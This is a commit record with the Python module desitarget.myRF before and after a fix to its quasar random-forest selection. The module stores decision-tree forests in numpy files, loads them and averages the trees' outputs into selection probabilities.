            # if iTree%10 == 0 : print ("tree=",iTree)
            self.loadTreeFromForest(iTree)
            self.searchNodes(np.arange(len(self.data)))
            self.bdtOutput += self.proba

        self.bdtOutput /= self.nTrees
        return self.bdtOutput

    def loadForest(self, forestFileName):
        # loads forest
        t = np.load(forestFileName, encoding='bytes')
        self.forest = t['arr_0']
        return

    def loadTreeFromForest(self, iTree):
        # loads one tree from the forest file and checks that the recursion limit is enough
        if self.version == 1:
            self.treeInfo = self.forest[iTree*2]
            self.treeAnswer = self.forest[iTree*2+1]
        elif self.version == 2:
            self.treeInfo = self.forest[iTree]
        else:
            print("unsupported version=", self.version)
            sys.exit()

        if len(self.treeInfo) > sys.getrecursionlimit():
            sys.setrecursionlimit(int(len(self.treeInfo)*1.2))
            # print "WARNING recursion limit set to length(tree)*1.2 :",sys.getrecursionlimit()

    def saveForest(self, forestFileName):
        # reads trees useful information and stores them in forestFileName

        def getFilledNumber(iFile):
            # just because fileNumber <10 have been padded with one 0 in scikit-learn
            if iFile < 10:
                return str(iFile).zfill(2)
            else:
                return str(iFile)

        forest = []

        for iTree in np.arange(self.nTrees):
            if iTree % 10 == 0:
                print("tree=", iTree)
            fileNumber = (iTree*self.filesPerTree+4)
            treeFile = self.modelDir+"bdt.pkl_"+getFilledNumber(fileNumber)+".npy"
            answerFile = self.modelDir+"bdt.pkl_"+getFilledNumber(fileNumber-1)+".npy"

            # Store only useful information
            newt = None
            t = np.load(treeFile)
            a = np.load(answerFile)
            if self.version == 1:
                newt = np.zeros(len(t), dtype='int16, int16, int8, float32')
            elif self.version == 2:
                newt = np.zeros(len(t), dtype='int16, int16, int8, float32, float32')
            else:
                pass

            for i in np.arange(len(t)):
                temp_t = t[i]
                if self.version == 1:
                    tup = (temp_t[0], temp_t[1], temp_t[2], temp_t[3])
                elif self.version == 2:
                    temp_a = a[i]
                    proba = temp_a[0, 1]/(temp_a[0, 0]+temp_a[0, 1])
                    tup = (temp_t[0], temp_t[1], temp_t[2], temp_t[3], proba)
                newt[i] = tup

            if self.version == 1:
                forest.append(newt)
                forest.append(np.load(answerFile))
            elif self.version == 2:
                forest.append(newt)
            else:
                pass

            del newt

        np.savez_compressed(forestFileName, forest)
        return
<commit_msg>fixing a bug in the QSO random forest selection<commit_after>"""
desitarget.myRF
===============

This module computes the Random Forest probability
and it stores the RF with our own persistency.
"""
import numpy as np
import sys

class myRF(object):
    """ Class for I/O operations and probability calculation for Random Forest
    """
    def __init__(self, data, modelDir, numberOfTrees=200, version=2):
        # loads the data once and initializes arrays
        self.data = data.copy()
        self.proba = np.zeros(len(data))
        self.bdtOutput = np.zeros(len(data))
        self.modelDir = modelDir
        self.version = version
        self.nTrees = numberOfTrees
        if self.version in [1, 2]:
            # print ("version is :",self.version)
            self.filesPerTree = 4  # for models-decals-dr3, (was 5 for models-decals)
        else:
            print("unsupported version=", self.version)
            sys.exit()

    def loadTree(self, treeFile, answerFile):
        # loads one tree and checks that the recursion limit is enough
        self.treeInfo = np.load(treeFile)
        self.treeAnswer = np.load(answerFile)
        if len(self.treeInfo) > sys.getrecursionlimit():
            sys.setrecursionlimit(int(len(self.treeInfo)*1.2))
            # print "WARNING recursion limit set to length(tree)*1.2 :",sys.getrecursionlimit()

    def unloadTree(self):
        # delete the current tree information to avoid memory leaks
        del self.treeInfo
        if self.version == 1:
            del self.treeAnswer

    def searchNodes(self, indices, nodeId=0):
        # recursively navigates in the tree and calculate the tree response
        nodeInfo = self.treeInfo[nodeId]

        # version without probability per leaf
#        if nodeInfo[0]==-1 :
#            if self.treeAnswer[nodeId,0,0]<self.treeAnswer[nodeId,0,1] :
#                score=1.
#            else :
#                score=0.
#            self.proba[indices]=score
#            return

        if nodeInfo[0] == -1:
            if self.version == 1:
                self.proba[indices] = self.treeAnswer[nodeId, 0, 1]*1./(self.treeAnswer[nodeId, 0, 0]+self.treeAnswer[nodeId, 0, 1])
            else:
                self.proba[indices] = nodeInfo[4]

            return

        leftChildId = nodeInfo[0]
        rightChildId = nodeInfo[1]
        feature = nodeInfo[2]
        threshold = nodeInfo[3]

        leftCond = (self.data[indices, feature] <= threshold)
        leftChildIndices = indices[leftCond]
#        rightCond = (self.data[indices,feature] > threshold)
        rightChildIndices = indices[~leftCond]

        self.searchNodes(leftChildIndices, nodeId=leftChildId)
        self.searchNodes(rightChildIndices, nodeId=rightChildId)
        return

    def predict_proba(self):
        # calculate the forest response using the average response of the trees in the forest

        for iTree in np.arange(self.nTrees):
            # if iTree%10 == 0 : print ("tree=",iTree)
            self.loadTreeFromForest(iTree)
            self.searchNodes(np.arange(len(self.data)))
            self.bdtOutput += self.proba

        self.bdtOutput /= self.nTrees
        return self.bdtOutput

    def loadForest(self, forestFileName):
        # loads forest
        t = np.load(forestFileName, encoding='bytes')
        self.forest = t['arr_0']
        return

    def loadTreeFromForest(self, iTree):
        # loads one tree from the forest file and checks that the recursion limit is enough
        if self.version == 1:
            self.treeInfo = self.forest[iTree*2]
            self.treeAnswer = self.forest[iTree*2+1]
        elif self.version == 2:
            self.treeInfo = self.forest[iTree]
        else:
            print("unsupported version=", self.version)
            sys.exit()

        if len(self.treeInfo) > sys.getrecursionlimit():
            sys.setrecursionlimit(int(len(self.treeInfo)*1.2))
            # print "WARNING recursion limit set to length(tree)*1.2 :",sys.getrecursionlimit()

    def saveForest(self, forestFileName):
        # reads trees useful information and stores them in forestFileName

        def getFilledNumber(iFile):
            # just because fileNumber <10 have been padded with one 0 in scikit-learn
            if iFile < 10:
                return str(iFile).zfill(2)
            else:
                return str(iFile)

        forest = []

        for iTree in np.arange(self.nTrees):
            if iTree % 10 == 0:
                print("tree=", iTree)
            fileNumber = (iTree*self.filesPerTree+4)
            treeFile = self.modelDir+"bdt.pkl_"+getFilledNumber(fileNumber)+".npy"
            answerFile = self.modelDir+"bdt.pkl_"+getFilledNumber(fileNumber-1)+".npy"

            # Store only useful information
            newt = None
            t = np.load(treeFile)
            a = np.load(answerFile)
            if self.version == 1:
                newt = np.zeros(len(t), dtype='int16, int16, int8, float32')
            elif self.version == 2:
                newt = np.zeros(len(t), dtype='int16, int16, int8, float32, float32')
            else:
                pass

            for i in np.arange(len(t)):
                temp_t = t[i]
                if self.version == 1:
                    tup = (temp_t[0], temp_t[1], temp_t[2], temp_t[3])
                elif self.version == 2:
                    temp_a = a[i]
                    proba = temp_a[0, 1]/(temp_a[0, 0]+temp_a[0, 1])
                    tup = (temp_t[0], temp_t[1], temp_t[2], temp_t[3], proba)
                newt[i] = tup

            if self.version == 1:
                forest.append(newt)
                forest.append(np.load(answerFile))
            elif self.version == 2:
                forest.append(newt)
            else:
                pass

            del newt

        np.savez_compressed(forestFileName, forest)
        return
<|endoftext|>